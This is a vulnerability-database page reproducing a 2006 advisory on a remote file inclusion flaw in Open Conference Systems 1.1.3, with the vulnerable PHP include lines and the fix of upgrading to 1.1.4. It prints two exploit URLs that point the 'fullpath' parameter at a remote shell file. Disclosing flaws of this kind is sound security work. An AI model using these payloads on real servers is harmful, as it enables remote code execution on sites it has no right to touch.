Open Conference Systems - exploit.company

vendor:

Open Conference Systems

by:

k1tk4t

9,3

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Open Conference Systems

Affected Version From: 1.1.3

Affected Version To: 1.1.3

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Open Conference Systems <= 1.1.3 Remote File Inclusion

Open Conference Systems version 1.1.3 and prior are vulnerable to a remote file inclusion vulnerability. This vulnerability is due to the application failing to properly sanitize user-supplied input to the 'fullpath' parameter of the 'theme.inc.php' and 'footer.inc.php' scripts. An attacker can exploit this vulnerability to execute arbitrary PHP code on the vulnerable system with the privileges of the webserver process.

Mitigation:

Upgrade to Open Conference Systems version 1.1.4 or later.

Source

Exploit-DB raw data:

#########################################################################
# Open Conference Systems <= 1.1.3 Remote File Inclusion
# Download Source : http://pkp.sfu.ca/ocs/download/ocs-1.1.3.tar.gz
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org
########################################################################
file ;
  theme.inc.php
  footer.inc.php
########################################################################
bugs ;
at -- theme.inc.php
 include($fullpath."themes/$theme/theme.inc.php");
at -- footer.inc.php
 include_once($fullpath."include/theme.inc.php");
########################################################################
exmple and methode exploit ;
 http://localhost/ocs/include/theme.inc.php?fullpath=http://shell/cmd.gif?
 http://localhost/ocs/include/footer.inc.php?fullpath=http://shell/cmd.gif?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubicrew (all member solpotcrew community)
#asiahacker
person;
y3dips,lirva32,the_day,K-159(&all echo staff)
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-13]